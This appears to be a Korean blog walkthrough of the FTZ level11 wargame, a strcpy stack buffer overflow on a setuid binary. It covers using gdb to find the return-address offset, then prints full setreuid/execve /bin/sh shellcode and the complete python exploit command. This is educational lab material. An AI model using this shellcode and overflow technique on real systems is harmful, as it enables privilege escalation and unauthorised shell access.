일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | |||||
3 | 4 | 5 | 6 | 7 | 8 | 9 |
10 | 11 | 12 | 13 | 14 | 15 | 16 |
17 | 18 | 19 | 20 | 21 | 22 | 23 |
24 | 25 | 26 | 27 | 28 | 29 | 30 |
- ogr2ogr
- ERR_PNPM_NO_GLOBAL_BIN_DIR
- AWS CodeBuild
- node
- SASS
- credential error
- AWS
- can't getting credentials
- EC2
- expo
- Error:error:0308010C:digital envelope routines::unsupported
- rwdImageMaps
- 김골라
- 반응형 페이지 좌표 변환
- react
- 설치완료안됨
- nodejs
- S3
- Sequelize Error: Dialect needs to be explicitly supplied as of v4.0.0
- C언어
- aws ec2
- netlify variables
- Unable to find the global bin directory
- 어셈블리어
- CSS
- GeoJSON object too complex/large
- NODE_VERSION
- AWS CodePipeline
- 이미지 좌표 추출
- 이미지 맵
- Today
- Total
ImFe's study
FTZ level11풀이-1 본문
로그인을하고 ls -l을 입력해줍시다
입력을 하고 나면 attackme와 hint파일이 보이는데 일단 cat hint를 통해 hint파일을 열었습니다.
strcpy함수는 복사하는 문자열의 길이를 체크하지 않기때문에 길이가 256이 넘어가게되면 스택의 다른 영역들을 침범하게됩니다. 이렇게 되면 입력 문자열을 통해 RET값을 변경할 수 있습니다.
RET는 스택 가장 아래쪽에 쌓여서 특정 함수가 끝난 후에 돌아갈 위치가 저장됩니다. 이러한 성질을 통해 RET를 변조하여 프로그램으로 하여금 공격자가 원하는 작동을 할 수 있게합니다.
코드에 setreuid가 있으니 프로그램이 실행되는 동안에 my-pass나 /bin/bash를 실행하면 될거같습니다.
쉘 코드는 /bin/bash나 /bin/sh를 실행시켜주는 코드입니다. (16진수)
쉘은 커널을 감싸고있는 명령어 해석기를 뜻하는데 이러한 쉘을 호출하도록 하여 필요한 명령어를 실행시키는게 목표입니다.
쉘 코드를 만드는 방법은 추후 설명하고 이번에 사용할 쉘코드는 구글링을해서 사용합니다.
ShellCode:
\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
이 코드를 메모리에 올려서 실행시켜야합니다.
정리하자면,
1.attackme를 실행하여 문자열을 입력합니다.
2.입력한 문자열에 쉘코드를 포함하여 메모리에 쉘코드를 올립니다. //2-1. 어떻게 원하는 문자열을 넣을것인가?
3.문자열의 길이가 256을 넘어가면 RET의 값이 변경될 수 있습니다. //3-1. RET는 어디에 위치하는가?
4.RET의 값을 쉘코드가 포함된 메모리로 변조합니다.
2-1. 어떻게 문자열을 넣을것인가?
직접 손으로 입력하는것은 무리가 있으니 python을 이용하여 문자를 넣어줍시다.
attackme `python -c 'print "[쉘코드]" + "dummy문자"*[숫자]+"[RET주소]"'`
(파이썬 앞에 붙은거는 세미콜론이 아닙니다. 아포스트로피(물결모양)입니다.)
왜 이런 방식으로 문자열을 넣냐면 이 명령어를 통해 쉘 위에서 입력하는것이 가능하기 때문입니다.
3-1. RET는 어디에 위치하는가?
RET 전까지 메모리를 채운 후 RET값을 변조하여 원하는 shell코드를 실행시키는게 목표입니다. 그러므로 버퍼의 시작에서부터 RET까지의 '거리'만 알아내면 되겠습니다.
결국 어느정도 길이의 문자열을 입력해야 RET의 주소에 도착할수 있을지가 중요한데
RET의 위치는 EBP레지스터에서 1칸(4Byte) 큽니다. (RET주소가 RBP보다 높습니다.)
디버거를 사용하려면 r(read),w(write),x(execute)의 권한이 모두 필요하기때문에 파일을 복사해서 하셔야합니다.
gdb -q attackme로 디버거를 실행합니다. 그리고 disas main을 입력합니다.(메인함수를 디스어셈블)
일단 EBP의 값을 알아봐야겠습니다.
<main+0>에서 ebp값을 push해서 지정하고
<mian+1>에서 ebp의 값을 esp에 넣습니다. //스택이 push나 pop으로 변경될때 그 스택의 가장 위에있는주소를 의미
브레이크 포인트를 이용해 EBP의 값을 확인해봅시다.
b*main+3으로 2번째 줄(main+1)다음에 브레이크 포인트를 잡았습니다.
r`python -c 'print "A"*256'`로 프로그램을 실행합니다.
A를 256개 붙여서 실행을 했는데 이렇게 실행을 하면 앞에서 잡아높은 브레이크 포인트에서 멈춤 상태가 됩니다.
여기서 info reg를 입력하여 모든 레지스터의 값을 확인할 수 있습니다.
EBP값은 0xbfffea48이네요.
다음으로 필요한것은 str[256]이라는 버퍼의 시작점입니다.
한줄한줄 해석하며 찾을수도있지만 그러기보단 값을 왕창 넣어놓고 그 값이 어디에 들어있는지 찾는것이 편합니다.
b*main+53으로 strcpy<main+48>가 완료된 시점<main+53>에 브레이크 포인트를 추가해 봅시다.(str값이 들어가는곳)
c(continue)로 지금 멈춰져 있던 곳<main+3>에서 새로 만든 브레이크 포인트<main+53>까지 이어서 실행합니다.
그리고 x/100x $esp를 입력하면 esp가 지금 지시하고 있는 위치의 메모리부터 100byte까지의 메모리를 볼 수 있습니다.
사진을 보면 계속 414141414141...이 반복되는데 이는 A의 ASCII코드값입니다. 이걸로 str[256]이 시작하는 주소를 확인할 수 있겠네요
str[256]의 주소 = 0xbfffe940
대강 준비가 다 끝난거같습니다.
EBP값은 0xbfffea48
str[256]의 주소 = 0xbfffe940
계산해보면
버퍼에서 RET까지의 거리는 EBP - str[256]의 주소 + 4(위에서 말했듯이 EBP랑 RET는 1칸(4바이트)차이)
bfffea48 - bfffe940 + 4 = 10C
10c(16진수)=268(10진수)니까 str버퍼 시작에서 RET 시작점까지의 거리는 268문자입니다.
페이로드 작성)
버퍼의 시작지점에서 부터 쉘코드를 넣어 봅시다.
./attackme `python -c 'print"[쉘코드]"+"A"*[숫자]+"[쉘코드주소]"'`
268문자 만큼 거리가있는데 AAAAAA...가다가 쉘코드를 써서 268문자가 되야하니까
268-쉘코드길이 만큼 A를 넣어줘야겠네요
제가 사용할 쉘코드의 길이는 41글자입니다.
그러므로 들어가야할 더미 문자인 A의 갯수는 227개입니다. (268-41)
./attackme `python -c 'print"[쉘코드]"+"A"*[227]+"[쉘코드주소]"'`
천천히 하나씩 쓰겠습니다. 작성하는 지금도 헷갈리네요
다음으로 쉘코드의 주소를 알아봅시다.
당연히 str[256]에서부터 문자열을 채우기 시작하니 str버퍼의 시작지점이 쉘코드 주소가 되겠네요.
str[256]의 주소 = 0xbfffe940
그런데 프로그램에 주소값을 넣을 때는 그냥 넣어서는 안되고
2자리씩 끊어서 순서를 거꾸로 입력해줘야합니다. (=Little Endian방식)
이렇게 입력해줘야 컴퓨터가 읽을수 있습니다.
리틀엔디안으로 헷갈리지 않고 변경하기)
-두 자리씩 끊고
bf ff e9 40
-뒤집어주기
40 e9 ff bf
=> \x40\xe9\xff\xbf = [쉘코드 주소]
마지막으로 이 글의 초반에 인용했던 쉘코드를 넣어봅시다.
./attackme `python -c 'print"[\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80]"+"A"*[227]+"[\x40\xe9\xff\xbf]"'`
./attackme `python -c 'print" \x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"A"*227+"\x40\xe9\xff\xbf"'`
...??????
'FTZ' 카테고리의 다른 글
FTZ level 11 풀이 - 2 - NOPsled (0) | 2020.04.28 |
---|---|
버퍼 오버플로우 왕기초편 - 무임승차 문제 (0) | 2020.04.24 |
레지스터(register)란? (0) | 2020.04.07 |
어셈블리어 기초- 진법 체계 (0) | 2020.03.25 |
FTZ level9 풀이 (0) | 2020.02.12 |